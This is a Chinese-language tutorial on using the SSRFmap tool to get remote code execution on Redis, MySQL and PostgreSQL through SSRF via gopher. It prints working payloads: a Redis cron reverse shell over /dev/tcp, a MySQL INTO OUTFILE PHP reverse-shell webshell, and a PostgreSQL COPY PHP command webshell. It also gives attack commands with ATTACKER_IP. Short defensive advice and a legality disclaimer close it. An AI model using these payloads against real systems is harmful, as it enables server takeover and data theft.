SSRFmap数据库攻击:Redis、MySQL、PostgreSQL RCE技术全解析
SSRFmap数据库攻击:Redis、MySQL、PostgreSQL RCE技术全解析
SSRFmap是一款功能强大的自动SSRF模糊测试和利用工具,能够帮助安全测试人员检测和利用服务器端请求伪造漏洞。本文将详细介绍如何使用SSRFmap对Redis、MySQL和PostgreSQL数据库进行远程代码执行(RCE)攻击,适合安全新手和普通用户快速掌握数据库攻击技术。
SSRF数据库攻击原理
服务器端请求伪造(SSRF)漏洞允许攻击者诱导服务器发起恶意请求,当服务器可以访问内部数据库服务时,攻击者可通过构造特殊请求实现数据库命令执行。SSRFmap通过gopher协议封装数据库协议流量,将恶意 payload 注入到 SSRF 漏洞点,从而实现对内部数据库的攻击。
Redis未授权访问RCE攻击
Redis是最容易被SSRF利用的数据库之一,特别是存在未授权访问时。SSRFmap的modules/redis.py模块通过构造gopher协议 payload,利用Redis的配置命令写入计划任务实现反向shell。
攻击步骤:
- 利用
flushall清空数据库 - 设置恶意key值包含反向shell命令
- 修改Redis配置将数据库文件保存到计划任务目录
- 触发计划任务执行恶意命令
核心利用代码片段:
data = "*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$LENGTH_PAYLOAD%0d%0a%0d%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/SERVER_HOST/SERVER_PORT%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0aSERVER_CRON%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a"
MySQL数据库命令执行
MySQL数据库在SSRF攻击中同样存在风险,特别是当数据库允许无密码访问时。SSRFmap的modules/mysql.py模块实现了MySQL协议的gopher封装,支持执行任意SQL语句。
主要攻击功能:
- 执行自定义SQL查询
- 通过
dios参数一键dump数据库结构 - 写入webshell到web目录实现RCE
反向shell实现代码:
reverse = "select \"<?php system('bash -i >& /dev/tcp/SERVER_HOST/SERVER_PORT 0>&1'); ?>\" INTO OUTFILE '/var/www/html/shell.php'"
PostgreSQL数据库渗透技巧
PostgreSQL数据库的SSRF攻击利用方式与MySQL类似,但协议格式不同。SSRFmap的modules/postgres.py模块支持多种攻击方式:
-
文件写入攻击:使用
COPY命令写入PHP一句话木马php_cmd_shell = "COPY (SELECT '<?php system($_GET[\"cmd\"]);?>') TO '/var/www/html/shell.php';" -
反向shell:通过写入webshell实现远程控制
-
数据查询:执行任意SQL查询语句获取数据库信息
图:SSRF文件读取功能展示,可用于验证数据库写入的webshell
实战使用指南
快速安装SSRFmap
git clone https://gitcode.com/gh_mirrors/ss/SSRFmap
cd SSRFmap
pip install -r requirements.txt
基本使用命令
针对Redis的攻击命令:
python ssrfmap.py -u "http://target.com/ssrf.php?url=FUZZ" -p url -M redis --lhost=ATTACKER_IP --lport=4444
针对MySQL的攻击命令:
python ssrfmap.py -u "http://target.com/ssrf.php?url=FUZZ" -p url -M mysql
防御建议
- 限制服务器请求目标:禁止服务器访问内网数据库服务
- 使用白名单机制:只允许访问可信域名和IP
- 禁用危险协议:如gopher、dict等协议
- 数据库安全配置:设置强密码,禁止未授权访问
- 网络隔离:将数据库部署在独立网段,限制访问来源
通过本文介绍的方法,您可以使用SSRFmap轻松对Redis、MySQL和PostgreSQL数据库进行安全测试。请记住,这些技术仅用于合法的安全测试,未经授权的攻击是违法的。掌握SSRF数据库攻击技术,不仅能提高漏洞检测能力,也能帮助企业更好地防御此类安全威胁。
更多推荐




所有评论(0)